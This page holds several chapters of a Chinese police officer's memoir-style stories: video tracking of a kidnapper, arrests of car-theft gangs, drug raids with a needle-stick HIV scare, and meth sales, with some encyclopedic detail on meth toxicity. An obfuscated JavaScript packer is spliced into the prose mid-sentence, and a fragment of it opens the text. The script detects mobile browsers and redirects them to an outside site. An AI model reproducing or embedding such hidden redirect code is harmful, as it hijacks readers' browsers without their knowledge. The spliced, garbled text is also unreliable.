0=7.0.6();b(/a|9|1|2|5|4|3|c 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直属队小Z率先发出声音，喊我过去看，他在一段非常暗已经是黑白的视频录像中，发现了一辆车停靠在小学生旁边，小孩子好像被人拉上车，疑似我们要找的人，我们几个人立即围过去，通过多次回放，确认视频中的小孩子就是我们要找的失踪小学生，那辆车便是我们现在要追踪的目标。通过再三回放视频确认，车辆是一台浅色的东风本田思域，所有人开始在小学旁的公安自建高清视频中寻找这辆思域，经过几分钟的排查，我在市委路口处发现了该车，车牌经查询是套牌，确认这就是我们要找的嫌疑车辆。一路布置去追踪来的路线，一路去追踪逃离的方向，我则通过治安卡口分析车辆轨迹，发现车辆已经于19时30分左右往高速去了，20时30分出现在泉州莆田卡口，我们迅速向局领导报告情况，大队安排了两辆车，出发追踪该车，我们在后台做支持。奇怪的是，这辆车20时30分以后就没有了轨迹。 车子去哪里了？ 通过分析，根据以往的经验，广西人的盗窃案历历在目，犹如昨天发生，所以既然使用了假牌，还有可能有更多的假牌，还有可能下高速后更换了车牌。我判断该车往福州方向去了，并没有掉头，根据车速较快的情况，我划定了一定时间内的，福州周边的所有卡口的照片，我们几个人，科学分工，每人负责几个卡口，过滤筛查了上万张照片后，终于在福州三环的卡口上发现该车的踪迹，因为逃避视频卡口拍照，有反侦查意识的嫌疑人，此时“此地无银”的把遮阳板放下来，意图遮住了脸，让我们无法辨认，确实遮住了脸，但是也让我们更快的锁定了嫌疑人的车。之后发现该车上了高速。 此时已经是凌晨1时许，半小时前发现嫌疑车辆上高速后方向往宁德，我们离嫌疑人车辆只有半个小时的时间差了，现在的任务就是盯着卡口了，几个人不断重复的刷新着卡口的照片，用最后一次出现的车牌，不断的去刷新。 凌晨2时许，经过比对确认，已经到宁德境内的嫌疑人车辆，再此换了车牌，不过此次他们使用了真实牌照，经查询这是一台宁德地区的车牌。通过查询车辆登记信息，车主是宁德某县人，为一名女性。一边向领导报告，我们临时拉了个微信群，前方和我们后台相互通报实施情况，传送视频和照片，经过研判和视频轨迹的碰撞，女性车主的老公有重大嫌疑人。另一组和家属在一起的侦查员传来消息，嫌疑人打电话过来勒索现金300万元，否则撕票。对方手机号码位置位于宁德，但是打完电话后关机。 现在视频是最后的稻草了，车牌查询结果显示，嫌疑车辆凌晨3时许已经下高速，进入某县卡口，我们跟车辆的时差仅十分钟。追击组兄弟们紧赶慢赶终于于3时30份许赶到宁德某县，经过卡口后，沿路追那台思域。现在一切就要看他们了，我守在电脑前，身体已近发出信号，哈欠连天，但是不敢睡，坐在电脑前，不断刷新车辆卡口信息，是不是的拿起手机，希望微信群里发出好等消息，而内心则都在祈祷，大家平安归来。 大家肚子都饿了，于是派人去打包宵夜回来来，闽南特色面线糊配油条，沙茶面，我一直认为所谓的宵夜，就是把早餐提前几个时吃而已吧，不过味道还是相当不错的，闽南特色小吃。我想起几年前为了打击盗窃小汽车犯罪团伙，刑侦中队每天派两民警携带武器加上七个辅警武装巡逻的往事了，每次轮到值班都要通宵武装巡逻，穿着防弹衣荷枪实弹去夜宵摊吃东西。 那段时间，路面监控较少，有从广东过来的盗窃汽车团伙，一般多人乘坐一两小车开车过来，傍晚从广东汕头等地出发，凌晨时分抵达泉州，在泉州、晋江、石狮等地，疯狂盗窃日系小车，主要有本田雅阁、奥德赛；丰田凯美瑞、皇冠、汉兰达这几种车型，这几种车如果年代新，成色好，停在路边无人看管，如果没有安装暗锁，就很容易被盗，最高峰的时候，一个晚上一条街被盗五辆小车，当时做过统计，连续两年每年有三百多台小车被盗，数字惊人，案件几乎都没没破，一度保险公司盗抢险不卖或者涨价，虽然泉州牵头组建专案组，重点打击盗窃机动车犯罪，但是收效甚微，经侦查，犯罪团伙大多来自潮汕地区，以汕尾最多，当地社情负责，嫌疑人大多藏身在村镇，每次组团出来，一个人用技术解码开锁发动小车，剩下的人负责将车被盗车辆连夜开回汕尾，到了以后或整车或拆成零件处理，我们多次前往抓捕，均空手而归。 因为历史原因，广东盗窃小车专业犯罪团伙较多，长期被广东警方打击，许多人积累了反侦查手段，相互传授，加上汕头汕尾地区，民风彪悍，藏污纳垢，当地社情复杂，警方未曾有效打击，整治乏力，历来是各类犯罪的高发地区，例如：90年代车匪路霸，2015年广东省集全省警力查处当地制贩毒品，一个村都在生产毒品，缴获毒品用吨来计算，是很可怕的地区，经济条件一直不好。各种原因，所以案件破获不多，那个时候我们一方面加强案件侦破，掌握线索，一方面加强武装巡逻，即打防结合；因为盗车团伙暴力程度极高，甚至携带有枪械等武器，看法治类电视节目，广东警方多次与盗窃团伙开枪交火，我们自然要多注意防范，所以携带冲锋枪，在武器装备上压制嫌疑人，他们都是手枪。当时单位每晚每人可以报销30元的宵夜，因为通宵，晚上会饿，单位经费紧张，仍然拿出这笔钱，我们连辅警司机一共10人，就是300元。有一次，吃沙爹面，跟我一起的H sir，突发异想，面中要加大九节虾，其实一碗面就10-20元，加点肉蛋海蛎之类的，就很好了，还有10元可以买别的。不过，H sir 性情非常人能理解，带头点了九节虾，每只65，一碗面就75元，多名辅警跟着点，我和司机没有点，我们辆就点了一碗20元的面，我当时的意见是，我拿出领来的300元，每个人30元，超出部分自己负责，由H sir负责买单，他吃到一半，居然说没有带钱，我没有理会他，吃完带司机上车等他们，听说最后他找辅警借钱买单的。这个事后来被当成笑话，传了很久，以至于后来青岛大虾的新闻称每只虾38元都弱爆了。 因为无法在广东落地抓人，只能坐等犯罪嫌疑人再次抓捕，为了将这伙人的嚣张气焰打下去，让同类犯罪团伙不敢来，我们每天安排大量的警力，一方面武装巡逻设卡，一方面在各个高速收费站随时设卡拦截。等了一个多月，盗窃嫌疑团伙终于出现，在他们开车从广东通过省界，就已经被我们值守的人员发现，我们迅速集结警力，在各个收费站设卡准备拦截抓捕。最后嫌疑人从沈海高速晋江出口下高速，民警已经在晋江牛山收费站布下天罗地网，为了将这伙人拦截抓获，布置了几十名警力，携带武器，场面超过大片，预计的方案是这样，一辆车堵住了嫌疑人前面，拉上破胎器，一辆车堵在后面夹住，民警在收费站道路两侧，藏身在收费岗亭两端，将嫌疑人车逼停后，计划是拉开车门，然后让嫌疑人下车，再控制。不过犯罪嫌疑人的暴力反抗程度，超出预期，来了四名犯罪嫌疑人，驾驶的一台黑色丰田锐志小车，当发现我们设卡时，便开始疯狂冲撞，轮胎被完全扎破了，还在来回冲撞，现状声音巨大，才几十秒钟的时间，三厢车被硬是撞成了一厢车，民警无法靠近，过程中多名民警受伤，一名第二天要休假的准新郎冲出去，将车门拉开，过程中髌骨骨折，最后脚裹着石膏杵着拐杖举办了一周后的婚礼。剩下的民警等冒险把车门都拉开，最后将四名嫌疑人拉出车子，控制在现场。四名嫌疑人两人来自湖南，两人来自汕尾，最后四人因盗窃罪被判处无期徒刑。四人的带头大哥，当天有事没来，后来一直在逃，我曾多次外出追捕他，也多次组织抓捕，最近的一次，我跟他擦肩而过，经过多年的追捕，最后才被抓获。 得益于这次打击，加上后来又抓获一伙盗车嫌疑人，此后多年再没有出现过小车被盗案件。据说嫌疑人后来不敢再来。努力没有白费。 刑警的生活就是这样，刺激多彩，虽然通宵是常态，但是他们都是血肉之躯，也是普通人，目标也很简单，希望每一个人都能平安回家。那晚，我们在视频侦查工作室等到凌晨5时30分许，微信群里终于传来消息，追击组的兄弟，已经成功解救被绑架小学生，并且抓获两名犯罪嫌疑人，消息传来时，大家紧绷的心终于可以放下了，可以回家补个觉。谢天谢地，努力没有白费，终于明白为什么说科技为第一生产力。 10. 第 10 章 一、迪厅狂欢 时间回到2007年夏，鞋都镇，劳动密集型企业带来数十万计的年轻人，白天在流水线线，下班后，成群的散在各个街巷，带来了空前的繁荣，入夜，工厂周边的马路上来自全国各地的小吃摊位、服饰摊位接踵而至，一眼望不到边际，人潮如洪水般涌出，滞留在马上路，以至于已经找不到行车的缝隙。路边还有大量的店铺，各种娱乐场所，溜冰场已经开始走下坡路了，取而代之的是K歌房，迪厅。鞋都镇高峰期时有十几家迪厅，沿七一路（陈泉路）一路分布。迪厅属于低消费的场所，为了节省成本一般置于私人建设原用途为生产车间的空置厂房中，层高较高，空间大。消防安全派出所是管理的比较严格的，所以一直没有出现什么问题。 我接到耳目反应，为了追求刺激，某迪吧经常有人吸食毒品，我们一个片区的几个民警跟所领导商量，决定去查一下。 这天晚上，我带着三名福建警院的暑期实习生，都是生面孔，换上了便服，来到那家迪吧。迪吧位于某路边自建楼三楼，没有安装电梯，我们跟着外面的广告海报指示，通过很宽敞的楼梯走上楼，三楼入口处已经被装点一番，门口摆有两台安检门，由两名保安守着，旁边立有提醒告示牌，提醒不要各种物品入内，因为迪吧人多，经常有持械打架斗殴，安检门主要是为了放置顾客携带危险物品进入，后来几乎大部分的酒吧等都有这个装备，那时还是属于比较少的。在门口已经能听到里面重金属音乐带来的重重的的节奏感，让人心跳加速。迪吧采取购票入场方式，每人两元，30岁以下青年女性凭身份证免费进入，进去后可以只玩不消费，里面的消费酒水价格也不高，跟那些酒吧夜总会比起来，就非常低了，为了不暴露身份，我自己掏钱，买了四张门票进入。 从大门进入就是大厅，整个大厅大约500-600个平方，大厅灯光变得昏暗，墙壁和天花板都被涂成黑色，装了很多活动的闪灯，各种颜色，四周墙上挂着大音响，声音震耳。大厅的正中间是舞池，一群年轻人正在舞池中间，挤在一起，摇晃着身体，用力甩着脑袋，有些留着长发的女生，甩起来头发飘逸，有的疯狂摇摆，如同披头散发的女鬼，看上去非常不科学；舞池的上方靠近出入口一侧是DJ台，一个戴着棒球帽的年轻人正在摆弄调音台，时不时的举起双手。舞池外侧是摆成半圈的铁制高脚凳子和小桌子的小吧台，有些坐着人，桌子上摆着玻璃瓶装的啤酒、瓶装可乐、红茶绿茶；大厅靠墙两边和后方是铁架的小二层，上面摆着一些沙发茶几组成的卡座，，生意不错，每个卡座上都坐有人，茶几上放有一些瓶装啤酒、饮料瓜子零食什么的，二层底下，也是卡座，人较少；往后走，二层的下面有几个隔间，那应该是包厢，整个大厅男男女女看上去都很亢奋，我们四个人查看了所有的卡座，然后一起沿着通道走向包厢，这里有四个包厢，以一边两个，中间是过道，经过第一个包厢门的时候，透过门上的圆形玻璃窗，看到包厢内围坐着十几年轻男女，其中一名女子从包中拿出一个装有白色粉末的透明塑料袋，将白色粉末倒在茶几的玻璃台面上，用一张扑克牌铲拢，剩下的人，每人就拿这一根喝饮料的吸管，把白色粉末使用吸管用力吸进鼻孔。吸完之后，还要仰头颤抖以下，享受一番的样子，隔壁的包厢也同样在吸白色粉末，我们安排几个实习生努力，每人记一下各个包厢里的人的面孔，我走到门口发短息给等候在所里的同事，然后我们就两个人一组，堵住迪厅的两个出入口，只能进，不能出，十五分钟后，所里等候的大批警力赶到，将迪厅楼下楼上围住，然后二十多名民警和辅警冲进大厅，叫停了音乐，打开照明灯光。我挂上了工作证（胸卡），带头冲进包厢，包厢里只剩下几个人，全部押走，我们返回大厅，凭着记忆，开始在大厅找人，找到了二十几个，我找到二层最后一个卡座时，因为一急，我已经记不起来那些人的面孔了，正准备要下去时，卡座里有一名男子引起了我的注意，他看到我和我身后着制服的同事，身体在颤抖，我手指指着他，他眼神呆滞的看着我，我喊了句带走，他缓缓起身，手还拉着一起坐卡座的女子，卡座的其他几名男女也紧张的看着他，最后全部带回所里。我们把人全部控制住，用手铐联烤在一起，一个连一个，成了两个长串，带到楼下，一台丰田海狮面包车和一台福特全顺运兵车闪着警灯已经掉好头在等我们，两串人押上两台警车，一路响着警笛，赶回所里，人先带到所里一楼大厅，蹲在墙边，蹲了两排。 经过尿检，带回来27人中25人□□（俗称□□）呈阳性，经讯问，均承认在迪厅包厢内吸食□□，我们六个民警，开始分工办理，五个人做询问询问笔录，几乎是批量复制制作，那个时候几乎都是单人制作询问笔录，而我负责做信息采集，案件法律文书制作，最后经审批，25人全部被决定执行行政拘留的行政处罚。到了凌晨3时许，全部送进拘留所。 这是我从警第一次与毒品打交道，简直就是狂欢交响曲，之前只在培训材料、视频、网上电影、电视中看到的画面，真实的出现在我面前，抑制不住的兴奋激动还有惊悚，以至于我有些晕，一度忘记了吸毒人员的长相，整个过程很快结束了，此后我们经常抓各类吸毒人员，贩毒制毒，但是再没有抓过如此多的人员，从那时开始，在我们持续不断的打击下，毒品开始从娱乐场所消失，□□开始退出历史舞台，取而代之的是□□、□□，□□（俗称白粉）一直都在，为了逃避打击，吸毒人员则转到更隐蔽的场所，打击也更加困难，猫鼠游戏才刚刚开始。 二、带血的毒针 老L是原来治安队调岗过来的民警，之前一直在办案，也一直在基层，快五十岁了，可能觉得社区民警工作比较好，找领导说了多次，最后调整过来社区队，分到我们这组。那天收到线索，一个旧村租房内有人吸毒，于是叫上我一起，带上几名辅警，去现场查一下，我们先是开车到了村警务室，询问线人举报的那个旧村租房的位置。 因为当地经济发展速度很快，有钱以后，就开始自建各式房屋，都是新式的别墅或者很多楼层的方块式房屋，楼下办公，楼上自住。以前那种集中式的闽南旧居就闲置，自生自灭，或者租给外来务工人员，还有部分旧居是海外华侨的，长期无人居住，缺乏维护，倒塌或者破败不堪。 这些当地的旧民居，被称为“古厝”，一般依托小河小溪边建成，大部分建筑几乎连在一起，会留一条不到两米宽的进出小巷，大多铺着石板，长期的雨水湿润，石板上是一次青苔，石板逢里、墙脚位置时常会伸出野草。旧一点的房屋，外墙面是由红砖加夯土墙组成，木柱支撑起屋顶横梁，上盖的是青瓦。进门是一个四合院时建筑，正中是天井，然后中间堂厅，天井东南西北四周用木板隔成若干个小房间，木板上留有窗户，外墙对应的房间留着很小的窗户；稍微好一点的房子则是砖木结构，外墙全部使用红砖，红砖带有深红和浅红色组成的花纹，很漂亮，依然是上好的木材顶着屋梁，盖着红瓦或者青瓦，有些门窗使用石雕图案，这些图案带有不同的故事。有钱一点的，会使用石头作为建材盖房子，不仅房屋外墙内墙，屋顶也是石头，上面铺一层防水材料，具体用的什么，我已经无从知晓，屋顶上还铺有红色地砖，夏天洗一洗后，可以躺在屋顶上数星星。有的盖成两层楼。这种石头房子最大劣势是窗户比较小，大部门没有露天的天井。 在当时的闽南地区，几乎每个村都有一个或者多个这样的旧村村落，散落着老旧房屋，山区旧村会小一些，受制于地形，比较房屋没有那么集中，房屋大多沿河而建，我去过永春，安溪、德化的山区都是这样。鞋都的旧村，疏于保护看管，从了藏污纳垢之所，我们要找的出租屋就在这样一群旧居里，不过是一栋石头房子的一楼，我们几个将车停放在旧村外路边，然后徒步走路进去旧村，穿过长满杂草的巷子，来到一栋石头房子门前空地，空地旁还有夯土的残墙，房屋完全倒塌留下来的。石头房子只有一层，进门正中间是一个小厅，中间是一面墙，摆着一个香案，有个佛龛在香案上，佛龛里供奉的是灶神，香炉里是残香和香灰，看上去很久没有人打理了，香案两边都是通道，我们沿着两边同时进入到午后，墙后是一个楼梯间，石头楼第可以上屋顶，屋主可能想要盖两层，资金或者其他原因停了，总共有四个房间，一个厨房加饭厅，房屋内灰尘很厚，厨房和饭厅堆满垃圾，每个房间的门都是纯木制的，做工简单，厚厚的木板拼在一起，使用的老式的门闩。 我们逐个搜索房间，东南角落里那个房间，门是虚掩着的，老L推开门一看，大白天，但是房间光线很暗，墙面发黑，房间堆满杂物，衣服、塑料袋、还有鞋子等到处都是，一个简易板床靠床放着，两面躺着一男一女，无力的看着我们，三个男子面目干瘪的、皮肤发黑，眼睛黑洞，懒懒的坐在地方，裤子都退到脚踝的位置，穿着内裤，大腿浮肿，布满是黑色斑点，其中一人的大腿内侧，插着一只医用针筒注射器，看到我们来，才拔下来。地上散落着有很多纸包，针筒注射器，卫生纸。老L命令所有人穿好衣服，跟我们出来，几个人这才不耐烦的看着我们，唯唯诺诺，动作缓慢的开始穿衣服，坐在地上的一名男子，无动于衷，老L上前踢他一脚，刚刚起脚就听到老L啊了一声，我正给这些人上手铐，回头一看，老L正惊恐的表情看着自己脚，他穿着凉鞋出门的，脚上正插着一根针筒注射器的针头，我吞咽了一下口水，倒吸了一口冷气，慌忙提醒大家注意脚下。我们快速将房间搜了一遍，找到多包疑似□□粉末的物品，然后将人一一押出房间，押到外面空地上，五人都佝偻着身躯，低着头。老L已经将针头拔出，用力挤出几滴血，他全身发凉，六神无主的走到外面太阳底下。在盛夏，第一次感觉太阳很温暖。 我们将所有的人押上车，带回所里，经过验尿，所有人都是吗啡（□□）阳性，老L已经回过神来，大声的喝问，刚刚那个针头是谁用的，得到的答案是所有人都用过。为了保险起见，我们将嫌疑人押送至疾控中心抽血检测HIV,然后是等结果，我们先回来处理案件。经审讯，毒品都是床上的一对男女提供的，地上三名男子是过来买毒品，直接就在现场使用，因为烫吸已经无法过瘾，采取注射方式，手上全是针孔，加上皮肤肌肉萎缩，已经无处可扎，就扎大腿内侧注射方式。女子也供述，毒品是上家送到家里来，她再卖给其他人，以贩养吸，毒品为□□，价格是批发价一克一百元，她再分成三小包，每包卖50元。 审讯中，有名吸毒人员告诉我们，他们都有艾滋病，听到这个消息，老L整个人呆住了，我永远忘不了老L当时脸上的表情，满是皱纹的脸，如同一个干裂的树叶，久久没有说话，审讯室死一样寂静。 沉坐了许久，老L黯然的走回办公室，我则继续把笔录做完，办理法律手续，吸毒人员先行政拘留，再办理强制戒毒；涉嫌贩卖毒品的移交刑侦中队转刑事案件、办理刑拘。将人送进拘留所，拘留所的兄弟交代几个人可能有艾滋病的时候，他们的脸色都变得铁青，这是烫手山芋，谁都不想要。说了很多好话，但是谁也没提老L被针扎了的事情。 送完拘留，我们到疾控中心拿验血报告，这是我参加公安工作以来，第一次感到如此的忐忑不安，心中五味杂陈。 疾控中心的工作人员，热情的接待了我们，同时认真仔细检查了老L的伤口，又认真重新消毒了一次。我们拿到了最终的检测报告，五名嫌疑人HIV呈阴性，所有人长吁了一口气。 这是我从警第一次遭遇HIV险情，好在有惊无险，当晚我几乎通宵在网上研究学习HIV相关知识，此后多年，工作中我经常遭遇HIV携带者，再也没有那样惶恐过，很坦然科学的面对。一直以来，我都不知道那十几个小时老L是怎么熬过来的，无法体会他内心经历了什么。只知道后来他主动要求去了拘留所，大家都知道那是养老的地方。 从那次以后，我再也没有穿过凉鞋，也再也没有买过，只要出门，再热的天我都穿得严严实实的，再添置警用装备时，我直接放弃了警用凉皮鞋，很多人不理解，觉得我有点傻，难以理解，那是因为他们没有经历过，职业病就是这么养成的。在基层一线工作的民警，要面对的危险是无时不刻的，无法预料，你永远不知道意外和明天哪一个先到。 三、嗨姐□□ 入夜，华灯初上，晋江的街头车水马龙，车来车往，一片溜光，各大夜场也开始营业，人来人往，灯红酒绿，杯光交错，好不热闹。各个不同舞台上各种好戏也悄悄上演。 林某，经营一家中型鞋厂，有些积蓄，经常流连于夜场，喝酒之余寻求刺激，这日晚上在夜场喝了点小酒，脑袋兴奋之余，性趣盎然，前段时间认识一个妈咪，要给他介绍好玩的。于是在一快捷酒店开好房间，微信约了一名“□□”过来。 “□□”一次最初源自广东，字面的意思是陪你嗨的妹子，然而这个“嗨”并不简单，“嗨”就是吸食□□，妹就是□□女，上门提供性服务之外，还陪客户一起吸食□□。 □□，即兴奋剂□□，因其原料外观为纯白结晶体，晶莹剔透，故被吸毒、贩毒者称为“冰”（Ice）。由于它的毒性剧烈，人们便称之为“□□”。该药小剂量时有短暂的兴奋抗疲劳作用，故其丸剂又有“大力丸”之称。又因□□（Amphetamine）有其译音名□□或安非它命之称，故□□也有□□之称。此外，□□是在□□化学结构基础上改造而来，故又有□□之称。□□药用为片剂，作为毒品用时多为粉末，也有液体与丸剂。——百度百科。 “□□”的成瘾者，以每天要强迫性服用大量毒品为待征。这些人已对毒品产生了较强的依赖性，毒品已成为他们生活的必需品。这种口服滥用方式的危险之一是导致有害的“兴奋剂--安眠药”，即“兴奋--抑制”滥用循环。每天使用“冰”以保持兴奋，否则他们难以度过；夜时必须用安眠药镇静他们高度兴奋的神经，弥补“冰”作用后期的不快效应，否则亦难过。次日又开始这种恶性循环，如此反复，不能自拔。这种使用毒品方式，极易导致精神病状态，表现出活动过度，情感冲动，野蛮，妄想，偏执狂，幻觉甚至有杀人倾向。此种状态过后，出现一种极度衰竭和抑郁状态，也有因严重抑郁而自杀者。 “冰”长期滥用后突然停止使用，患者会出现高度疲劳、精神抑郁、饥饿感，以及强烈的求药行为。这就是戒断综合征。 □□过量的使用□□可导致急性中毒。中毒症状包括多话、头痛、错乱、高烧、血压上升、盗汗、瞳孔放大、食欲丧失。大剂量使用引起精神错乱，思想障碍，类似妄想性精神分裂症，多疑、幻听、被害妄想等；长期使用导致器官性脑症候群。有高血压及脑中风之危险。停用之脱瘾症状包括精神呆滞 、昏睡、易怒、烦躁不安、忧虑，有自杀的倾向。 过量的使用□□可导致急性中毒。严重者出现精神混乱、□□亢进、焦虑、烦躁、幻觉状态。长期滥用可造成慢性中毒、体重下降、消瘦、溃疡、脓肿、指甲脆化和夜间磨牙。静脉注射方式滥用者可引起各种感染合并症；包括肝炎、细菌性心内膜炎、败血症和艾滋病等。高剂量或重复使用“冰”可产生中毒性精神病，表现有被害妄想、幻觉，多为幻视，也可能出现听幻觉和触幻觉。毒品的耐受性随长期使用而增加，对于未产生耐受的人，使用□□30毫克便会引起中毒。而有报道，长期滥用者，为了达到初期使用时的欣快效应，竟将剂量增至2000毫克，这极易引起急性中毒，可造成惊阙、昏迷甚至死亡。 现代□□最初源自日本，前身是抗疲劳片，日军在二战中大量使用，特别在太平洋战争中，为了提高士兵战斗力，日军根据配额，按量配发给士兵使用，使用□□后，士兵可以七天七夜不睡觉。军队更是大量生产，作为军需品大量装备，战后存活的日军士兵，有很多人成瘾，需求量很大，战败后军队生产的大量毒品各种原因流落民间，大量日本国民使用，有统计称超过200万人食用。最初为片剂，日本的有组织犯罪集团经过提炼改良获得结晶体，极像冰糖，“冰”因此而得名，□□贩卖从日本迅速流向全世界。我国查获最大的□□生产的是刘招华犯罪团伙，生产的□□超过14吨。 从上面的介绍可以看出，□□危害极大，极易成瘾，且使用30毫克以上就会引起中毒，身体会出现各种问题。但是，因为有抗疲劳、产生兴奋、性亢奋等特点，被很多人使用，往往忘记了危害。□□之前还是比较少见的高端人士使用毒品，但随着制毒工艺的改进，原材料的多样化，产量更大，价格一路跳水，2006年我打击的时候，350元到400元每克，从2010年以后变成150元到200元，批发价更低，随着经济发展，人员流动交通物流的更加便利，□□已经开始泛滥，有取代传统毒品“□□”之势。有人为了减肥而吸食□□，最后陷入万劫不复的地步。有个娱乐场子跳舞的姑娘，一年收入攒下30余万，为了减肥，开始吸食□□，我们抓到它的时候，30万已经败光，人变得神经兮兮的。为了获取性快感，很多人就使用□□，还衍生出“□□”这个行业，有时候我们开玩笑这是付钱购买“增值服务”。 林某就是这样的群体。我们通过侦查得知，其吸食□□，我们在快捷酒店房间里找到他时，“□□”已经到了，两名“□□”浓妆艳抹，穿着情趣内衣，三人在房间里已经在嗨了，摇头晃脑的。房间的茶几上摆着“冰壶”（自制吸食□□工具） （图片来自网络） 我们冲进房间的时候，房间的上空还飘着烟雾，房间茶几上除了“冰壶”，还放着一个透明塑料袋，内有白色晶体物质，类似白砂糖，疑似□□；打火机，锡纸。 三人都已经衣衫不整，我们马上将三人带回所里。经审讯，两名“□□”年纪较大已经38岁了，大可以称呼她为“嗨姐”了，因为化妆，加上皮肤保养较好，所以真看不出来，在装嫩。而“□□”年仅20岁，自称刚刚来晋□□品□□时上家提供给“嗨姐”的，嗨姐再带过来，林某约定的1000元的价格，让两名“□□”过来陪他嗨，□□价格400元，共1克，使用了一部分，还有一点点在茶几上。 验尿的时候发现，“嗨姐”□□检测呈阴性，原来她没有参与吸食□□，但是因涉嫌贩卖□□。原价200元的□□，转手卖400元，“嗨姐”交代其老公一年前因犯罪被抓现在服刑，留下她一人照顾两个孩子，一个在上中学，另一个也要上小学了，生活困难，没有一技之长，亲戚朋友都没办法帮忙，没有办法只好出来□□赚钱生活，毒品她不敢碰，陪嗨的时候，基本上都会叫上其他“□□”一起赚钱。 我们要刑拘她的时候，她一直央求回家安顿好孩子，我核查了一下她的信息，她老公也吸毒品□□，在因盗窃被判刑，在监狱服刑，有两个孩子。审讯时，她声泪俱下，一直苦苦央求，我后来冒险，押着她回到住处，看一下她的小孩，让她打电话给亲戚，请亲戚照顾好小孩。 我也是唏嘘不已，生活本身已经很艰难，但是毒品万万不能碰，虽然自己不吸食，但是为了多赚两百元，触犯刑法，按照刑法，只要参与买卖毒品，不论是否获利，都要承担刑责，她让自己身陷囹圄，这就是法盲。 四、送毒“马仔”是孕妇 “嗨姐”“□□”都去了他们该去的地方。但是事情并没有完，下一步是追查毒品来源，我们根据“嗨姐”提供的手机号码，开始追捕她的供货商。我们伪装成吸毒人员，打电话称是朋友介绍，找他们买货，按照道上的黑话，购买冰，一个一百块，一个是一小袋，0.5克左右。约定在街头某位置交货。这种最后的零售卖毒品的方式，我们称之为零星贩毒，这些“零售商”为了逃避打击，非常狡猾和多疑，手机号码经常换，自己一般不送货，除非量大，都是谈好价钱，然后安排马仔送货，为了避免风险，如果对方需求量大是不熟悉的人，一般不卖，除了考虑被警察抓获外，另一个原因是防止出现新的“零售商”出来跟自己竞争。我们的目标是追查，所以我们只能从小额交易开始，而且还冒充熟人介绍卖毒品。 但是，嫌疑人比我们想象的更狡猾，先是两次变换交易地点，总交易额才200元的，我们的人分成三组设伏，一个人去交易，但是全部在其他三组人的视线范围内。我们如约来到约定的地点， 毒贩狡猾是意料中的，不狡猾现在都监狱里关着呢，毒品犯罪的暴利，驱使着人们前仆后继，哪怕最小单位的贩卖，利润都是百分百的。但是毒品犯罪人人喊打的形势，让毒贩敬小慎微，就算很小的交易也要多次变换交易地点，目的是为了逃避打击，我国一直对涉毒品的犯罪是高压零容忍，不论数量多少都会面临刑事处罚。毒贩为了逃避打击，会规避风险，抓捕、审讯时自伤自残，我遇到一名女性毒贩，在抓捕时悄悄吐下自己的戒指，导致我们在医院守候了三天三夜，直到戒指安全排出体外。因涉毒犯罪制裁严厉，有期徒刑、无期徒刑甚至死刑，有些毒贩恐怕死刑判决，会暴力反抗，甚至持械、持枪，暴力程度非常高，而且突然，每年都有民警因抓捕毒贩遭遇暴力反抗而牺牲，受伤的人数则数不胜数。 每一次等候毒贩的出现，哪怕是送毒品的马仔，内心都是一种煎熬，七上八下忐忑不安，就像待字闺中的姑娘等候意中人来赴约会一样，既怕担心他不来，有担心他会乱来。 我站在街角，所有人已经布置妥当，摄像机已经架好，安排的“鱼钩”已经就位，这是第三次转移交易地点了，那天突然变天，下午五点，天已经有些差不多黑了，光线非常差，过往的车辆已经打开大灯，刚刚下完一场大雨，路边靠近马路牙子有一些浑浊的积水，车辆带着泚水的声音从路边驶过，有时会溅出水到人行道上，人行道很宽，上面还有一排停车位，我们两个兄弟开着一辆捷达，停在那里，作为我们应对的支援警力，还有一组跟着我在街角盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821851|158734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的“鱼钩”，另一组人在另一头，三组人形成一个三角区，取保鱼钩的安全，堵死前来送货的毒贩所有能逃跑的路。晚风吹过，带着雨水的味道，我感觉有些冷，全队人都没有武器，每人仅带了伸缩警棍，没有防护装备，嫌疑人一旦暴力反抗，我们风险很高，为了能够顺利诉讼，我们都是完成交易以后，再动手抓人，这个过程极难把控，一旦出现意外，无法预知后果。我再想，如果嫌疑人再不出现，我就取消交易，回家睡觉，连续的加班，每天紧绷的神经，让我很疲惫，厌战的情绪左右着我的判断。 我第N次看了一下手表，抬头时，一辆摩的戴着一名女子停在了我的“鱼钩”面前，然后那名女子用手机拨打号码确认了一下买家的身份，原计划一手交钱一手交货，女子收了钱之后，从口袋里拿出红色包装的物品，直接扔到几米远的地上，叫“鱼钩”去捡，摩托车已经启动，准备离开，不能再等了，我率先冲了过去，拦住了摩托车，其他人迅速合围，堵住了去路，大家迅速将摩托车驾驶员和女子从车上拉下来，直接控制住，带上手铐。 摩托车驾驶员搜身，没有问题，现在问题出现了，没有女性工作人员在场，只能将女子身上首饰收了，带回单位再搜身。中国的法律其实做得很好，对犯罪嫌疑人或者说涉嫌犯罪的公民，保护得很好，对执法人员设置了一条高压线；但是对执法人员，尤其是公安民警，法律保护就很差，法律很少，力度很弱，遇到事情，制定法律就成了一张纸，所以基层执法遭遇的压力就很大，容易滋生厌战情绪。 事不宜迟，现场围观群众很多，赶紧收集人员，物品，收队。回到单位，仔细看了一下女子扔在地上的物品，是两颗喔喔奶糖，经搜身，女子身上还有两颗。四颗奶糖摆在我面前的时候，我脑袋有点懵了。伸手去捏了一下包装，发现不是奶糖，果断撕开包装，里面赫然出现一小包白色晶体粉末，心中一块石头落地，撕开另外三个全部都是一样，拍照称重，初检成分为“□□”阳性。 经询问，嫌疑人女子杨某，承认其从上家“峰哥”获取“□□”和贩卖消息，她来跑腿售卖，赚取差价，四包成本价200元，售卖价400元，为了能快速的逃离，她雇了一辆摩托车送她过来，之前因为下雨，所以一直拖时间变换地点。 自称摩的司机刘某，经尿检和讯问、排查，最终确认不知情，之前也未与杨某有过联系，判定未参与贩卖活动，教育训诫后，让他离开。 